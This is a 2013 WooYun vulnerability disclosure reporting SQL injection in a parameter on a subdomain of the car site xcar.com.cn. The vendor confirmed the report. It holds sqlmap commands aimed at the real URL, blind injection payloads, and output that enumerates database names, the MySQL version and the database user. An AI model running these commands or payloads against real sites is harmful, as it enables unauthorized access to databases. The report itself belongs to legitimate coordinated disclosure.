当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2013-046158

漏洞标题:爱卡汽车网某站存在SQL注入

相关厂商:爱卡汽车网

漏洞作者: Br4iden

提交时间:2013-12-19 17:18

修复时间:2014-02-02 17:18

公开时间:2014-02-02 17:18

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2013-12-19: 细节已通知厂商并且等待厂商处理中
2013-12-20: 厂商已经确认,细节仅向厂商公开
2013-12-30: 细节向核心白帽子及相关领域专家公开
2014-01-09: 细节向普通白帽子公开
2014-01-19: 细节向实习白帽子公开
2014-02-02: 细节向公众公开

简要描述:

爱卡汽车网某站存在SQL注入

详细说明:

./sqlmap.py -u "http://topic.xcar.com.cn/201103/fml/lb.php?page=48&t=66&sn_id=3" --dbs
sqlmap identified the following injection points with a total of 559 HTTP(s) requests:
---
Place: GET
Parameter: sn_id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: page=48&t=66&sn_id=3) AND 1017=1017 AND (1930=1930
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: page=48&t=66&sn_id=3) AND SLEEP(5) AND (4845=4845
---
[19:51:56] [INFO] the back-end DBMS is MySQL
web application technology: Apache
back-end DBMS: MySQL 5.0.11
[19:51:56] [INFO] fetching database names
[19:51:56] [INFO] fetching number of databases
[19:51:56] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[19:51:56] [INFO] retrieved: 8
[19:51:57] [INFO] retrieved: informat
[19:53:02] [CRITICAL] connection timed out to the target url or proxy, sqlmap is going to retry the request
ion_schema
[19:54:13] [INFO] retrieved: branchdb
[19:54:54] [INFO] retrieved: mysql
[19:55:04] [INFO] retrieved: seo
[19:55:13] [INFO] retrieved: test
[19:55:24] [INFO] retrieved: xcardb
[19:55:58] [INFO] retrieved: xcardb2
[19:56:15] [INFO] retrieved: xcardb2_new
available databases [8]:
[*] branchdb
[*] information_schema
[*] mysql
[*] seo
[*] test
[*] xcardb
[*] xcardb2
[*] xcardb2_new
[19:58:02] [INFO] fetched data logged to text files under '/pentest/database/sqlmap/output/topic.xcar.com.cn'

漏洞证明:

./sqlmap.py -u "http://topic.xcar.com.cn/201103/fml/lb.php?page=48&t=66&sn_id=3" -f -b --current-user --current-db -v 1
sqlmap/1.0-dev-25eca9d - automatic SQL injection and database takeover tool
http://sqlmap.org
[!] legal disclaimer: usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local,
state and federal laws. Authors assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting at 20:01:48
[20:01:49] [INFO] resuming back-end DBMS 'mysql'
[20:01:49] [INFO] testing connection to the target url
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: sn_id
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: page=48&t=66&sn_id=3) AND 1017=1017 AND (1930=1930
Type: AND/OR time-based blind
Title: MySQL > 5.0.11 AND time-based blind
Payload: page=48&t=66&sn_id=3) AND SLEEP(5) AND (4845=4845
---
[20:01:50] [INFO] testing MySQL
[20:01:50] [WARNING] reflective value(s) found and filtering out
[20:01:50] [INFO] confirming MySQL
[20:01:54] [INFO] the back-end DBMS is MySQL
[20:01:54] [INFO] fetching banner
[20:01:54] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval
[20:01:54] [INFO] retrieved: 5.0.27-log
[20:02:21] [INFO] actively fingerprinting MySQL
[20:02:29] [INFO] executing MySQL comment injection fingerprint
web application technology: Apache
back-end DBMS: active fingerprint: MySQL >= 5.0.19 and < 5.0.38
comment injection fingerprint: MySQL 5.0.27
banner parsing fingerprint: MySQL 5.0.27, logging enabled
banner: '5.0.27-log'
[20:03:00] [INFO] fetching current user
[20:03:00] [INFO] retrieved: xcardbmanage@%.xcar.com.cn
current user: 'xcardbmanage@%.xcar.com.cn'
[20:05:04] [INFO] fetching current database
[20:05:04] [INFO] retrieved: xcardb2
current database: 'xcardb2'
[20:05:28] [INFO] fetched data logged to text files under '/pentest/database/sqlmap/output/topic.xcar.com.cn'

1.jpg


修复方案:

版权声明:转载请注明来源 Br4iden@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12

确认时间:2013-12-20 14:49

厂商回复:

感谢白帽子@Br4iden的提供,漏洞已经确认,我们会抓紧时间修复!谢谢!

最新状态:

暂无